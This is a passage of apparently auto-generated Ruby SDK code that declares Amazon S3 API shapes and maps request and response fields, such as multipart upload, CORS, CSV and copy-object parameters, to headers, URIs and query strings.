InventoryFormat = Shapes::StringShape.new(name: 'InventoryFormat')
InventoryFrequency = Shapes::StringShape.new(name: 'InventoryFrequency')
InventoryId = Shapes::StringShape.new(name: 'InventoryId')
InventoryIncludedObjectVersions = Shapes::StringShape.new(name: 'InventoryIncludedObjectVersions')
InventoryOptionalField = Shapes::StringShape.new(name: 'InventoryOptionalField')
InventoryOptionalFields = Shapes::ListShape.new(name: 'InventoryOptionalFields')
InventoryS3BucketDestination = Shapes::StructureShape.new(name: 'InventoryS3BucketDestination')
InventorySchedule = Shapes::StructureShape.new(name: 'InventorySchedule')
IsEnabled = Shapes::BooleanShape.new(name: 'IsEnabled')
IsLatest = Shapes::BooleanShape.new(name: 'IsLatest')
IsTruncated = Shapes::BooleanShape.new(name: 'IsTruncated')
JSONInput = Shapes::StructureShape.new(name: 'JSONInput')
JSONOutput = Shapes::StructureShape.new(name: 'JSONOutput')
JSONType = Shapes::StringShape.new(name: 'JSONType')
KMSContext = Shapes::StringShape.new(name: 'KMSContext')
KeyCount = Shapes::IntegerShape.new(name: 'KeyCount')
KeyMarker = Shapes::StringShape.new(name: 'KeyMarker')
KeyPrefixEquals = Shapes::StringShape.new(name: 'KeyPrefixEquals')
LambdaFunctionArn = Shapes::StringShape.new(name: 'LambdaFunctionArn')
LambdaFunctionConfiguration = Shapes::StructureShape.new(name: 'LambdaFunctionConfiguration')
LambdaFunctionConfigurationList = Shapes::ListShape.new(name: 'LambdaFunctionConfigurationList', flattened: true)
LastModified = Shapes::TimestampShape.new(name: 'LastModified')
LifecycleConfiguration = Shapes::StructureShape.new(name: 'LifecycleConfiguration')
LifecycleExpiration = Shapes::StructureShape.new(name: 'LifecycleExpiration')
LifecycleRule = Shapes::StructureShape.new(name: 'LifecycleRule')
LifecycleRuleAndOperator = Shapes::StructureShape.new(name: 'LifecycleRuleAndOperator')
LifecycleRuleFilter = Shapes::StructureShape.new(name: 'LifecycleRuleFilter')
LifecycleRules = Shapes::ListShape.new(name: 'LifecycleRules', flattened: true)
ListBucketAnalyticsConfigurationsOutput = Shapes::StructureShape.new(name: 'ListBucketAnalyticsConfigurationsOutput')
ListBucketAnalyticsConfigurationsRequest = Shapes::StructureShape.new(name: 'ListBucketAnalyticsConfigurationsRequest')
ListBucketInventoryConfigurationsOutput = Shapes::StructureShape.new(name: 'ListBucketInventoryConfigurationsOutput')
ListBucketInventoryConfigurationsRequest = Shapes::StructureShape.new(name: 'ListBucketInventoryConfigurationsRequest')
ListBucketMetricsConfigurationsOutput = Shapes::StructureShape.new(name: 'ListBucketMetricsConfigurationsOutput')
ListBucketMetricsConfigurationsRequest = Shapes::StructureShape.new(name: 'ListBucketMetricsConfigurationsRequest')
ListBucketsOutput = Shapes::StructureShape.new(name: 'ListBucketsOutput')
ListMultipartUploadsOutput = Shapes::StructureShape.new(name: 'ListMultipartUploadsOutput')
ListMultipartUploadsRequest = Shapes::StructureShape.new(name: 'ListMultipartUploadsRequest')
ListObjectVersionsOutput = Shapes::StructureShape.new(name: 'ListObjectVersionsOutput')
ListObjectVersionsRequest = Shapes::StructureShape.new(name: 'ListObjectVersionsRequest')
ListObjectsOutput = Shapes::StructureShape.new(name: 'ListObjectsOutput')
ListObjectsRequest = Shapes::StructureShape.new(name: 'ListObjectsRequest')
ListObjectsV2Output = Shapes::StructureShape.new(name: 'ListObjectsV2Output')
ListObjectsV2Request = Shapes::StructureShape.new(name: 'ListObjectsV2Request')
ListPartsOutput = Shapes::StructureShape.new(name: 'ListPartsOutput')
ListPartsRequest = Shapes::StructureShape.new(name: 'ListPartsRequest')
Location = Shapes::StringShape.new(name: 'Location')
LocationPrefix = Shapes::StringShape.new(name: 'LocationPrefix')
LoggingEnabled = Shapes::StructureShape.new(name: 'LoggingEnabled')
MFA = Shapes::StringShape.new(name: 'MFA')
MFADelete = Shapes::StringShape.new(name: 'MFADelete')
MFADeleteStatus = Shapes::StringShape.new(name: 'MFADeleteStatus')
Marker = Shapes::StringShape.new(name: 'Marker')
MaxAgeSeconds = Shapes::IntegerShape.new(name: 'MaxAgeSeconds')
MaxKeys = Shapes::IntegerShape.new(name: 'MaxKeys')
MaxParts = Shapes::IntegerShape.new(name: 'MaxParts')
MaxUploads = Shapes::IntegerShape.new(name: 'MaxUploads')
Message = Shapes::StringShape.new(name: 'Message')
Metadata = Shapes::MapShape.new(name: 'Metadata')
MetadataDirective = Shapes::StringShape.new(name: 'MetadataDirective')
MetadataEntry = Shapes::StructureShape.new(name: 'MetadataEntry')
MetadataKey = Shapes::StringShape.new(name: 'MetadataKey')
MetadataValue = Shapes::StringShape.new(name: 'MetadataValue')
MetricsAndOperator = Shapes::StructureShape.new(name: 'MetricsAndOperator')
MetricsConfiguration = Shapes::StructureShape.new(name: 'MetricsConfiguration')
MetricsConfigurationList = Shapes::ListShape.new(name: 'MetricsConfigurationList', flattened: true)
MetricsFilter = Shapes::StructureShape.new(name: 'MetricsFilter')
MetricsId = Shapes::StringShape.new(name: 'MetricsId')
MissingMeta = Shapes::IntegerShape.new(name: 'MissingMeta')
MultipartUpload = Shapes::StructureShape.new(name: 'MultipartUpload')
MultipartUploadId = Shapes::StringShape.new(name: 'MultipartUploadId')
MultipartUploadList = Shapes::ListShape.new(name: 'MultipartUploadList', flattened: true)
NextKeyMarker = Shapes::StringShape.new(name: 'NextKeyMarker')
NextMarker = Shapes::StringShape.new(name: 'NextMarker')
NextPartNumberMarker = Shapes::IntegerShape.new(name: 'NextPartNumberMarker')
NextToken = Shapes::StringShape.new(name: 'NextToken')
NextUploadIdMarker = Shapes::StringShape.new(name: 'NextUploadIdMarker')
NextVersionIdMarker = Shapes::StringShape.new(name: 'NextVersionIdMarker')
NoSuchBucket = Shapes::StructureShape.new(name: 'NoSuchBucket')
NoSuchKey = Shapes::StructureShape.new(name: 'NoSuchKey')
NoSuchUpload = Shapes::StructureShape.new(name: 'NoSuchUpload')
NoncurrentVersionExpiration = Shapes::StructureShape.new(name: 'NoncurrentVersionExpiration')
NoncurrentVersionTransition = Shapes::StructureShape.new(name: 'NoncurrentVersionTransition')
NoncurrentVersionTransitionList = Shapes::ListShape.new(name: 'NoncurrentVersionTransitionList', flattened: true)
NotificationConfiguration = Shapes::StructureShape.new(name: 'NotificationConfiguration')
NotificationConfigurationDeprecated = Shapes::StructureShape.new(name: 'NotificationConfigurationDeprecated')
NotificationConfigurationFilter = Shapes::StructureShape.new(name: 'NotificationConfigurationFilter')
NotificationId = Shapes::StringShape.new(name: 'NotificationId')
Object = Shapes::StructureShape.new(name: 'Object')
ObjectAlreadyInActiveTierError = Shapes::StructureShape.new(name: 'ObjectAlreadyInActiveTierError')
ObjectCannedACL = Shapes::StringShape.new(name: 'ObjectCannedACL')
ObjectIdentifier = Shapes::StructureShape.new(name: 'ObjectIdentifier')
ObjectIdentifierList = Shapes::ListShape.new(name: 'ObjectIdentifierList', flattened: true)
ObjectKey = Shapes::StringShape.new(name: 'ObjectKey')
ObjectList = Shapes::ListShape.new(name: 'ObjectList', flattened: true)
ObjectNotInActiveTierError = Shapes::StructureShape.new(name: 'ObjectNotInActiveTierError')
ObjectStorageClass = Shapes::StringShape.new(name: 'ObjectStorageClass')
ObjectVersion = Shapes::StructureShape.new(name: 'ObjectVersion')
ObjectVersionId = Shapes::StringShape.new(name: 'ObjectVersionId')
ObjectVersionList = Shapes::ListShape.new(name: 'ObjectVersionList', flattened: true)
ObjectVersionStorageClass = Shapes::StringShape.new(name: 'ObjectVersionStorageClass')
OutputLocation = Shapes::StructureShape.new(name: 'OutputLocation')
OutputSerialization = Shapes::StructureShape.new(name: 'OutputSerialization')
Owner = Shapes::StructureShape.new(name: 'Owner')
OwnerOverride = Shapes::StringShape.new(name: 'OwnerOverride')
Part = Shapes::StructureShape.new(name: 'Part')
PartNumber = Shapes::IntegerShape.new(name: 'PartNumber')
PartNumberMarker = Shapes::IntegerShape.new(name: 'PartNumberMarker')
Parts = Shapes::ListShape.new(name: 'Parts', flattened: true)
PartsCount = Shapes::IntegerShape.new(name: 'PartsCount')
Payer = Shapes::StringShape.new(name: 'Payer')
Permission = Shapes::StringShape.new(name: 'Permission')
Policy = Shapes::StringShape.new(name: 'Policy')
Prefix = Shapes::StringShape.new(name: 'Prefix')
Progress = Shapes::StructureShape.new(name: 'Progress')
ProgressEvent = Shapes::StructureShape.new(name: 'ProgressEvent')
Protocol = Shapes::StringShape.new(name: 'Protocol')
PutBucketAccelerateConfigurationRequest = Shapes::StructureShape.new(name: 'PutBucketAccelerateConfigurationRequest')
PutBucketAclRequest = Shapes::StructureShape.new(name: 'PutBucketAclRequest')
PutBucketAnalyticsConfigurationRequest = Shapes::StructureShape.new(name: 'PutBucketAnalyticsConfigurationRequest')
PutBucketCorsRequest = Shapes::StructureShape.new(name: 'PutBucketCorsRequest')
PutBucketEncryptionRequest = Shapes::StructureShape.new(name: 'PutBucketEncryptionRequest')
PutBucketInventoryConfigurationRequest = Shapes::StructureShape.new(name: 'PutBucketInventoryConfigurationRequest')
PutBucketLifecycleConfigurationRequest = Shapes::StructureShape.new(name: 'PutBucketLifecycleConfigurationRequest')
PutBucketLifecycleRequest = Shapes::StructureShape.new(name: 'PutBucketLifecycleRequest')
PutBucketLoggingRequest = Shapes::StructureShape.new(name: 'PutBucketLoggingRequest')
PutBucketMetricsConfigurationRequest = Shapes::StructureShape.new(name: 'PutBucketMetricsConfigurationRequest')
PutBucketNotificationConfigurationRequest = Shapes::StructureShape.new(name: 'PutBucketNotificationConfigurationRequest')
PutBucketNotificationRequest = Shapes::StructureShape.new(name: 'PutBucketNotificationRequest')
PutBucketPolicyRequest = Shapes::StructureShape.new(name: 'PutBucketPolicyRequest')
PutBucketReplicationRequest = Shapes::StructureShape.new(name: 'PutBucketReplicationRequest')
PutBucketRequestPaymentRequest = Shapes::StructureShape.new(name: 'PutBucketRequestPaymentRequest')
PutBucketTaggingRequest = Shapes::StructureShape.new(name: 'PutBucketTaggingRequest')
PutBucketVersioningRequest = Shapes::StructureShape.new(name: 'PutBucketVersioningRequest')
PutBucketWebsiteRequest = Shapes::StructureShape.new(name: 'PutBucketWebsiteRequest')
PutObjectAclOutput = Shapes::StructureShape.new(name: 'PutObjectAclOutput')
PutObjectAclRequest = Shapes::StructureShape.new(name: 'PutObjectAclRequest')
PutObjectOutput = Shapes::StructureShape.new(name: 'PutObjectOutput')
PutObjectRequest = Shapes::StructureShape.new(name: 'PutObjectRequest')
PutObjectTaggingOutput = Shapes::StructureShape.new(name: 'PutObjectTaggingOutput')
PutObjectTaggingRequest = Shapes::StructureShape.new(name: 'PutObjectTaggingRequest')
QueueArn = Shapes::StringShape.new(name: 'QueueArn')
QueueConfiguration = Shapes::StructureShape.new(name: 'QueueConfiguration')
QueueConfigurationDeprecated = Shapes::StructureShape.new(name: 'QueueConfigurationDeprecated')
QueueConfigurationList = Shapes::ListShape.new(name: 'QueueConfigurationList', flattened: true)
Quiet = Shapes::BooleanShape.new(name: 'Quiet')
QuoteCharacter = Shapes::StringShape.new(name: 'QuoteCharacter')
QuoteEscapeCharacter = Shapes::StringShape.new(name: 'QuoteEscapeCharacter')
QuoteFields = Shapes::StringShape.new(name: 'QuoteFields')
Range = Shapes::StringShape.new(name: 'Range')
RecordDelimiter = Shapes::StringShape.new(name: 'RecordDelimiter')
RecordsEvent = Shapes::StructureShape.new(name: 'RecordsEvent')
Redirect = Shapes::StructureShape.new(name: 'Redirect')
RedirectAllRequestsTo = Shapes::StructureShape.new(name: 'RedirectAllRequestsTo')
ReplaceKeyPrefixWith = Shapes::StringShape.new(name: 'ReplaceKeyPrefixWith')
ReplaceKeyWith = Shapes::StringShape.new(name: 'ReplaceKeyWith')
ReplicaKmsKeyID = Shapes::StringShape.new(name: 'ReplicaKmsKeyID')
ReplicationConfiguration = Shapes::StructureShape.new(name: 'ReplicationConfiguration')
ReplicationRule = Shapes::StructureShape.new(name: 'ReplicationRule')
ReplicationRuleStatus = Shapes::StringShape.new(name: 'ReplicationRuleStatus')
ReplicationRules = Shapes::ListShape.new(name: 'ReplicationRules', flattened: true)
ReplicationStatus = Shapes::StringShape.new(name: 'ReplicationStatus')
RequestCharged = Shapes::StringShape.new(name: 'RequestCharged')
RequestPayer = Shapes::StringShape.new(name: 'RequestPayer')
RequestPaymentConfiguration = Shapes::StructureShape.new(name: 'RequestPaymentConfiguration')
RequestProgress = Shapes::StructureShape.new(name: 'RequestProgress')
ResponseCacheControl = Shapes::StringShape.new(name: 'ResponseCacheControl')
ResponseContentDisposition = Shapes::StringShape.new(name: 'ResponseContentDisposition')
ResponseContentEncoding = Shapes::StringShape.new(name: 'ResponseContentEncoding')
ResponseContentLanguage = Shapes::StringShape.new(name: 'ResponseContentLanguage')
ResponseContentType = Shapes::StringShape.new(name: 'ResponseContentType')
ResponseExpires = Shapes::TimestampShape.new(name: 'ResponseExpires')
Restore = Shapes::StringShape.new(name: 'Restore')
RestoreObjectOutput = Shapes::StructureShape.new(name: 'RestoreObjectOutput')
RestoreObjectRequest = Shapes::StructureShape.new(name: 'RestoreObjectRequest')
RestoreOutputPath = Shapes::StringShape.new(name: 'RestoreOutputPath')
RestoreRequest = Shapes::StructureShape.new(name: 'RestoreRequest')
RestoreRequestType = Shapes::StringShape.new(name: 'RestoreRequestType')
Role = Shapes::StringShape.new(name: 'Role')
RoutingRule = Shapes::StructureShape.new(name: 'RoutingRule')
RoutingRules = Shapes::ListShape.new(name: 'RoutingRules')
Rule = Shapes::StructureShape.new(name: 'Rule')
Rules = Shapes::ListShape.new(name: 'Rules', flattened: true)
S3KeyFilter = Shapes::StructureShape.new(name: 'S3KeyFilter')
S3Location = Shapes::StructureShape.new(name: 'S3Location')
SSECustomerAlgorithm = Shapes::StringShape.new(name: 'SSECustomerAlgorithm')
SSECustomerKey = Shapes::StringShape.new(name: 'SSECustomerKey')
SSECustomerKeyMD5 = Shapes::StringShape.new(name: 'SSECustomerKeyMD5')
SSEKMS = Shapes::StructureShape.new(name: 'SSEKMS')
SSEKMSKeyId = Shapes::StringShape.new(name: 'SSEKMSKeyId')
SSES3 = Shapes::StructureShape.new(name: 'SSES3')
SelectObjectContentEventStream = Shapes::StructureShape.new(name: 'SelectObjectContentEventStream')
SelectObjectContentOutput = Shapes::StructureShape.new(name: 'SelectObjectContentOutput')
SelectObjectContentRequest = Shapes::StructureShape.new(name: 'SelectObjectContentRequest')
SelectParameters = Shapes::StructureShape.new(name: 'SelectParameters')
ServerSideEncryption = Shapes::StringShape.new(name: 'ServerSideEncryption')
ServerSideEncryptionByDefault = Shapes::StructureShape.new(name: 'ServerSideEncryptionByDefault')
ServerSideEncryptionConfiguration = Shapes::StructureShape.new(name: 'ServerSideEncryptionConfiguration')
ServerSideEncryptionRule = Shapes::StructureShape.new(name: 'ServerSideEncryptionRule')
ServerSideEncryptionRules = Shapes::ListShape.new(name: 'ServerSideEncryptionRules', flattened: true)
Size = Shapes::IntegerShape.new(name: 'Size')
SourceSelectionCriteria = Shapes::StructureShape.new(name: 'SourceSelectionCriteria')
SseKmsEncryptedObjects = Shapes::StructureShape.new(name: 'SseKmsEncryptedObjects')
SseKmsEncryptedObjectsStatus = Shapes::StringShape.new(name: 'SseKmsEncryptedObjectsStatus')
StartAfter = Shapes::StringShape.new(name: 'StartAfter')
Stats = Shapes::StructureShape.new(name: 'Stats')
StatsEvent = Shapes::StructureShape.new(name: 'StatsEvent')
StorageClass = Shapes::StringShape.new(name: 'StorageClass')
StorageClassAnalysis = Shapes::StructureShape.new(name: 'StorageClassAnalysis')
StorageClassAnalysisDataExport = Shapes::StructureShape.new(name: 'StorageClassAnalysisDataExport')
StorageClassAnalysisSchemaVersion = Shapes::StringShape.new(name: 'StorageClassAnalysisSchemaVersion')
Suffix = Shapes::StringShape.new(name: 'Suffix')
Tag = Shapes::StructureShape.new(name: 'Tag')
TagCount = Shapes::IntegerShape.new(name: 'TagCount')
TagSet = Shapes::ListShape.new(name: 'TagSet')
Tagging = Shapes::StructureShape.new(name: 'Tagging')
TaggingDirective = Shapes::StringShape.new(name: 'TaggingDirective')
TaggingHeader = Shapes::StringShape.new(name: 'TaggingHeader')
TargetBucket = Shapes::StringShape.new(name: 'TargetBucket')
TargetGrant = Shapes::StructureShape.new(name: 'TargetGrant')
TargetGrants = Shapes::ListShape.new(name: 'TargetGrants')
TargetPrefix = Shapes::StringShape.new(name: 'TargetPrefix')
Tier = Shapes::StringShape.new(name: 'Tier')
Token = Shapes::StringShape.new(name: 'Token')
TopicArn = Shapes::StringShape.new(name: 'TopicArn')
TopicConfiguration = Shapes::StructureShape.new(name: 'TopicConfiguration')
TopicConfigurationDeprecated = Shapes::StructureShape.new(name: 'TopicConfigurationDeprecated')
TopicConfigurationList = Shapes::ListShape.new(name: 'TopicConfigurationList', flattened: true)
Transition = Shapes::StructureShape.new(name: 'Transition')
TransitionList = Shapes::ListShape.new(name: 'TransitionList', flattened: true)
TransitionStorageClass = Shapes::StringShape.new(name: 'TransitionStorageClass')
Type = Shapes::StringShape.new(name: 'Type')
URI = Shapes::StringShape.new(name: 'URI')
UploadIdMarker = Shapes::StringShape.new(name: 'UploadIdMarker')
UploadPartCopyOutput = Shapes::StructureShape.new(name: 'UploadPartCopyOutput')
UploadPartCopyRequest = Shapes::StructureShape.new(name: 'UploadPartCopyRequest')
UploadPartOutput = Shapes::StructureShape.new(name: 'UploadPartOutput')
UploadPartRequest = Shapes::StructureShape.new(name: 'UploadPartRequest')
UserMetadata = Shapes::ListShape.new(name: 'UserMetadata')
Value = Shapes::StringShape.new(name: 'Value')
VersionIdMarker = Shapes::StringShape.new(name: 'VersionIdMarker')
VersioningConfiguration = Shapes::StructureShape.new(name: 'VersioningConfiguration')
WebsiteConfiguration = Shapes::StructureShape.new(name: 'WebsiteConfiguration')
WebsiteRedirectLocation = Shapes::StringShape.new(name: 'WebsiteRedirectLocation')
AbortIncompleteMultipartUpload.add_member(:days_after_initiation, Shapes::ShapeRef.new(shape: DaysAfterInitiation, location_name: "DaysAfterInitiation"))
AbortIncompleteMultipartUpload.struct_class = Types::AbortIncompleteMultipartUpload
AbortMultipartUploadOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
AbortMultipartUploadOutput.struct_class = Types::AbortMultipartUploadOutput
AbortMultipartUploadRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
AbortMultipartUploadRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
AbortMultipartUploadRequest.add_member(:upload_id, Shapes::ShapeRef.new(shape: MultipartUploadId, required: true, location: "querystring", location_name: "uploadId"))
AbortMultipartUploadRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
AbortMultipartUploadRequest.struct_class = Types::AbortMultipartUploadRequest
AccelerateConfiguration.add_member(:status, Shapes::ShapeRef.new(shape: BucketAccelerateStatus, location_name: "Status"))
AccelerateConfiguration.struct_class = Types::AccelerateConfiguration
AccessControlPolicy.add_member(:grants, Shapes::ShapeRef.new(shape: Grants, location_name: "AccessControlList"))
AccessControlPolicy.add_member(:owner, Shapes::ShapeRef.new(shape: Owner, location_name: "Owner"))
AccessControlPolicy.struct_class = Types::AccessControlPolicy
AccessControlTranslation.add_member(:owner, Shapes::ShapeRef.new(shape: OwnerOverride, required: true, location_name: "Owner"))
AccessControlTranslation.struct_class = Types::AccessControlTranslation
AllowedHeaders.member = Shapes::ShapeRef.new(shape: AllowedHeader)
AllowedMethods.member = Shapes::ShapeRef.new(shape: AllowedMethod)
AllowedOrigins.member = Shapes::ShapeRef.new(shape: AllowedOrigin)
AnalyticsAndOperator.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location_name: "Prefix"))
AnalyticsAndOperator.add_member(:tags, Shapes::ShapeRef.new(shape: TagSet, location_name: "Tag", metadata: {"flattened"=>true}))
AnalyticsAndOperator.struct_class = Types::AnalyticsAndOperator
AnalyticsConfiguration.add_member(:id, Shapes::ShapeRef.new(shape: AnalyticsId, required: true, location_name: "Id"))
AnalyticsConfiguration.add_member(:filter, Shapes::ShapeRef.new(shape: AnalyticsFilter, location_name: "Filter"))
AnalyticsConfiguration.add_member(:storage_class_analysis, Shapes::ShapeRef.new(shape: StorageClassAnalysis, required: true, location_name: "StorageClassAnalysis"))
AnalyticsConfiguration.struct_class = Types::AnalyticsConfiguration
AnalyticsConfigurationList.member = Shapes::ShapeRef.new(shape: AnalyticsConfiguration)
AnalyticsExportDestination.add_member(:s3_bucket_destination, Shapes::ShapeRef.new(shape: AnalyticsS3BucketDestination, required: true, location_name: "S3BucketDestination"))
AnalyticsExportDestination.struct_class = Types::AnalyticsExportDestination
AnalyticsFilter.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location_name: "Prefix"))
AnalyticsFilter.add_member(:tag, Shapes::ShapeRef.new(shape: Tag, location_name: "Tag"))
AnalyticsFilter.add_member(:and, Shapes::ShapeRef.new(shape: AnalyticsAndOperator, location_name: "And"))
AnalyticsFilter.struct_class = Types::AnalyticsFilter
AnalyticsS3BucketDestination.add_member(:format, Shapes::ShapeRef.new(shape: AnalyticsS3ExportFileFormat, required: true, location_name: "Format"))
AnalyticsS3BucketDestination.add_member(:bucket_account_id, Shapes::ShapeRef.new(shape: AccountId, location_name: "BucketAccountId"))
AnalyticsS3BucketDestination.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location_name: "Bucket"))
AnalyticsS3BucketDestination.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location_name: "Prefix"))
AnalyticsS3BucketDestination.struct_class = Types::AnalyticsS3BucketDestination
Bucket.add_member(:name, Shapes::ShapeRef.new(shape: BucketName, location_name: "Name"))
Bucket.add_member(:creation_date, Shapes::ShapeRef.new(shape: CreationDate, location_name: "CreationDate"))
Bucket.struct_class = Types::Bucket
BucketLifecycleConfiguration.add_member(:rules, Shapes::ShapeRef.new(shape: LifecycleRules, required: true, location_name: "Rule"))
BucketLifecycleConfiguration.struct_class = Types::BucketLifecycleConfiguration
BucketLoggingStatus.add_member(:logging_enabled, Shapes::ShapeRef.new(shape: LoggingEnabled, location_name: "LoggingEnabled"))
BucketLoggingStatus.struct_class = Types::BucketLoggingStatus
Buckets.member = Shapes::ShapeRef.new(shape: Bucket, location_name: "Bucket")
CORSConfiguration.add_member(:cors_rules, Shapes::ShapeRef.new(shape: CORSRules, required: true, location_name: "CORSRule"))
CORSConfiguration.struct_class = Types::CORSConfiguration
CORSRule.add_member(:allowed_headers, Shapes::ShapeRef.new(shape: AllowedHeaders, location_name: "AllowedHeader"))
CORSRule.add_member(:allowed_methods, Shapes::ShapeRef.new(shape: AllowedMethods, required: true, location_name: "AllowedMethod"))
CORSRule.add_member(:allowed_origins, Shapes::ShapeRef.new(shape: AllowedOrigins, required: true, location_name: "AllowedOrigin"))
CORSRule.add_member(:expose_headers, Shapes::ShapeRef.new(shape: ExposeHeaders, location_name: "ExposeHeader"))
CORSRule.add_member(:max_age_seconds, Shapes::ShapeRef.new(shape: MaxAgeSeconds, location_name: "MaxAgeSeconds"))
CORSRule.struct_class = Types::CORSRule
CORSRules.member = Shapes::ShapeRef.new(shape: CORSRule)
CSVInput.add_member(:file_header_info, Shapes::ShapeRef.new(shape: FileHeaderInfo, location_name: "FileHeaderInfo"))
CSVInput.add_member(:comments, Shapes::ShapeRef.new(shape: Comments, location_name: "Comments"))
CSVInput.add_member(:quote_escape_character, Shapes::ShapeRef.new(shape: QuoteEscapeCharacter, location_name: "QuoteEscapeCharacter"))
CSVInput.add_member(:record_delimiter, Shapes::ShapeRef.new(shape: RecordDelimiter, location_name: "RecordDelimiter"))
CSVInput.add_member(:field_delimiter, Shapes::ShapeRef.new(shape: FieldDelimiter, location_name: "FieldDelimiter"))
CSVInput.add_member(:quote_character, Shapes::ShapeRef.new(shape: QuoteCharacter, location_name: "QuoteCharacter"))
CSVInput.struct_class = Types::CSVInput
CSVOutput.add_member(:quote_fields, Shapes::ShapeRef.new(shape: QuoteFields, location_name: "QuoteFields"))
CSVOutput.add_member(:quote_escape_character, Shapes::ShapeRef.new(shape: QuoteEscapeCharacter, location_name: "QuoteEscapeCharacter"))
CSVOutput.add_member(:record_delimiter, Shapes::ShapeRef.new(shape: RecordDelimiter, location_name: "RecordDelimiter"))
CSVOutput.add_member(:field_delimiter, Shapes::ShapeRef.new(shape: FieldDelimiter, location_name: "FieldDelimiter"))
CSVOutput.add_member(:quote_character, Shapes::ShapeRef.new(shape: QuoteCharacter, location_name: "QuoteCharacter"))
CSVOutput.struct_class = Types::CSVOutput
CloudFunctionConfiguration.add_member(:id, Shapes::ShapeRef.new(shape: NotificationId, location_name: "Id"))
CloudFunctionConfiguration.add_member(:event, Shapes::ShapeRef.new(shape: Event, deprecated: true, location_name: "Event"))
CloudFunctionConfiguration.add_member(:events, Shapes::ShapeRef.new(shape: EventList, location_name: "Event"))
CloudFunctionConfiguration.add_member(:cloud_function, Shapes::ShapeRef.new(shape: CloudFunction, location_name: "CloudFunction"))
CloudFunctionConfiguration.add_member(:invocation_role, Shapes::ShapeRef.new(shape: CloudFunctionInvocationRole, location_name: "InvocationRole"))
CloudFunctionConfiguration.struct_class = Types::CloudFunctionConfiguration
CommonPrefix.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location_name: "Prefix"))
CommonPrefix.struct_class = Types::CommonPrefix
CommonPrefixList.member = Shapes::ShapeRef.new(shape: CommonPrefix)
CompleteMultipartUploadOutput.add_member(:location, Shapes::ShapeRef.new(shape: Location, location_name: "Location"))
CompleteMultipartUploadOutput.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, location_name: "Bucket"))
CompleteMultipartUploadOutput.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, location_name: "Key"))
CompleteMultipartUploadOutput.add_member(:expiration, Shapes::ShapeRef.new(shape: Expiration, location: "header", location_name: "x-amz-expiration"))
CompleteMultipartUploadOutput.add_member(:etag, Shapes::ShapeRef.new(shape: ETag, location_name: "ETag"))
CompleteMultipartUploadOutput.add_member(:server_side_encryption, Shapes::ShapeRef.new(shape: ServerSideEncryption, location: "header", location_name: "x-amz-server-side-encryption"))
CompleteMultipartUploadOutput.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "header", location_name: "x-amz-version-id"))
CompleteMultipartUploadOutput.add_member(:ssekms_key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, location: "header", location_name: "x-amz-server-side-encryption-aws-kms-key-id"))
CompleteMultipartUploadOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
CompleteMultipartUploadOutput.struct_class = Types::CompleteMultipartUploadOutput
CompleteMultipartUploadRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
CompleteMultipartUploadRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
CompleteMultipartUploadRequest.add_member(:multipart_upload, Shapes::ShapeRef.new(shape: CompletedMultipartUpload, location_name: "CompleteMultipartUpload", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
CompleteMultipartUploadRequest.add_member(:upload_id, Shapes::ShapeRef.new(shape: MultipartUploadId, required: true, location: "querystring", location_name: "uploadId"))
CompleteMultipartUploadRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
CompleteMultipartUploadRequest.struct_class = Types::CompleteMultipartUploadRequest
CompleteMultipartUploadRequest[:payload] = :multipart_upload
CompleteMultipartUploadRequest[:payload_member] = CompleteMultipartUploadRequest.member(:multipart_upload)
CompletedMultipartUpload.add_member(:parts, Shapes::ShapeRef.new(shape: CompletedPartList, location_name: "Part"))
CompletedMultipartUpload.struct_class = Types::CompletedMultipartUpload
CompletedPart.add_member(:etag, Shapes::ShapeRef.new(shape: ETag, location_name: "ETag"))
CompletedPart.add_member(:part_number, Shapes::ShapeRef.new(shape: PartNumber, location_name: "PartNumber"))
CompletedPart.struct_class = Types::CompletedPart
CompletedPartList.member = Shapes::ShapeRef.new(shape: CompletedPart)
Condition.add_member(:http_error_code_returned_equals, Shapes::ShapeRef.new(shape: HttpErrorCodeReturnedEquals, location_name: "HttpErrorCodeReturnedEquals"))
Condition.add_member(:key_prefix_equals, Shapes::ShapeRef.new(shape: KeyPrefixEquals, location_name: "KeyPrefixEquals"))
Condition.struct_class = Types::Condition
ContinuationEvent.struct_class = Types::ContinuationEvent
CopyObjectOutput.add_member(:copy_object_result, Shapes::ShapeRef.new(shape: CopyObjectResult, location_name: "CopyObjectResult"))
CopyObjectOutput.add_member(:expiration, Shapes::ShapeRef.new(shape: Expiration, location: "header", location_name: "x-amz-expiration"))
CopyObjectOutput.add_member(:copy_source_version_id, Shapes::ShapeRef.new(shape: CopySourceVersionId, location: "header", location_name: "x-amz-copy-source-version-id"))
CopyObjectOutput.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "header", location_name: "x-amz-version-id"))
CopyObjectOutput.add_member(:server_side_encryption, Shapes::ShapeRef.new(shape: ServerSideEncryption, location: "header", location_name: "x-amz-server-side-encryption"))
CopyObjectOutput.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
